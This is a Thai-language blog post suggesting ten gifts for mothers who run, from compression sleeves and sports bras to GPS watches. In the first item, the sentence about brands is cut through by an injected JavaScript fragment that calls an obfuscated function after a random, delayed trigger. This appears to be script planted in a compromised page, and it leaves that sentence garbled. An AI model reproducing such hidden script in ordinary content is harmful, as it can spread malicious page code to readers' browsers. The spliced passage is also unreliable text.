10 ของขวัญให้ขุ่นเเม่นักวิ่ง
12 สิงหาคมใกล้เข้ามาอีกเเล้วละครับ สำหรับใครที่มีคุณเเม่และขุ่นเเม่ (เมีย) เป็นนักวิ่ง นักออกกำลังกายตัวยง เรามี 10 ของขวัญที่สมควรสรรหามาบรรณการ
1. ปลอกรัดน่องแบบ Compression เข้าตำราไก่งามเพราะขนคนงามเพราะเเต่ง ในบัจจุบันมี International brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ในเมืองไทยอยู่ประมาณสามสี่เบร์นที่ไม่ควรพลาดคือ compressport, 2XU, Zensah และ Skins
2. ถุงเท้าวิ่ง ออกเเบบมาให้ระบายเหงื่อได้ดีขึ้น ลดอาการเสียดสีลง เบาเย็นสบายตลอดระยะทางวิ่ง
3. กางเกงรัดขนาด 3/4 จะใส่วิ่งก็ได้หรือจะใส่เล่นฟิตเนสก็ดี ช่วยให้เคลื่อนไหวได้คล่องตัวขึ้นเเละเพิ่มความมั่นใจให้คุณผู้หญิง
3. Sport Bra นอกจากจะช่วยให้อกคุณดูสวยงามเข้ารูปเเล้วยังช่วยประคองไหล่ หลัง พร้อมระบายความร้อนได้ดียิ่งขึ้น
4. Race belt กระเป๋ากับผู้หญิงเป็นของคู่กัน ไม่เว้นเเม้เเต่เวลาวิ่งเช่นกัน
5. หูฟังเเบบ Sport headphone สำหรับใครที่มีดนตรีเป็นเเรงขับเคลื่อนไม่ควรพลาด
6. นาฬิกาวิ่งรุ่นกลางๆ ที่มีฟังค์ชั่นสำหรับวิ่งและระบบ GPS สามารถเก็บข้อมูลการวิ่งของเราได้ด้วย ตัวอย่างเช่น Garmin Forerunner 15 , Polar M400 & A300 หรือจะเป็น Suunto aambit3 run
7. Hydration pack เอาใจสาวผู้รักธรรมชาติเเละโดยเฉพาะผู้รักการวิ่งเทรลไม่ควรพลาด
8. ผ้าบัฟ สุดยอดผ้าอเนกค์ประสงค์ จะใช้คาดผม พันข้อมือซับเหงื่อก็ได้ สาวๆ ควรมีไว้สักผื่นนะ
9. ที่ขาดไม่ได้เลยก็รองเท้าวิ่งใหม่สักคู่ครับ
10. Multi-sport GPS Watch จัดหนักสำหรับขุ่นเเม่สายเเข็ง เพื่อการต่อยอดจากวิ่งสู่ไตรกีฬา อย่างเช่น Garmin Fenix3 และ Suunto Ambit3 sport
ที่สำคัญอย่าลืมไปออกกำลังกายพร้อมกับขุ่นเเม่นะครับ
